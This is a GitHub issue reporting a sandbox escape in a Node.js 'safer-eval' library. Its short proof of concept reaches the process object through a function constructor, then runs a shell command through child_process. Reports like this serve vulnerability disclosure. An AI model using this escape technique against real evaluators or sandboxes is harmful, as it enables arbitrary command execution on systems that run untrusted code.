-
Notifications
You must be signed in to change notification settings - Fork 16
Open
Description
One can break out of the sandbox with the following code in node:
const saferEval = require("./src/index");
const theFunction = function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;
console.log(saferEval(untrusted));Haroenv, l0ca1, cpcallen, commenthol, XZLang and 7 morel0ca1, fproulx-dfuse, chain312 and eternalbluesec
Metadata
Metadata
Assignees
Labels
No labels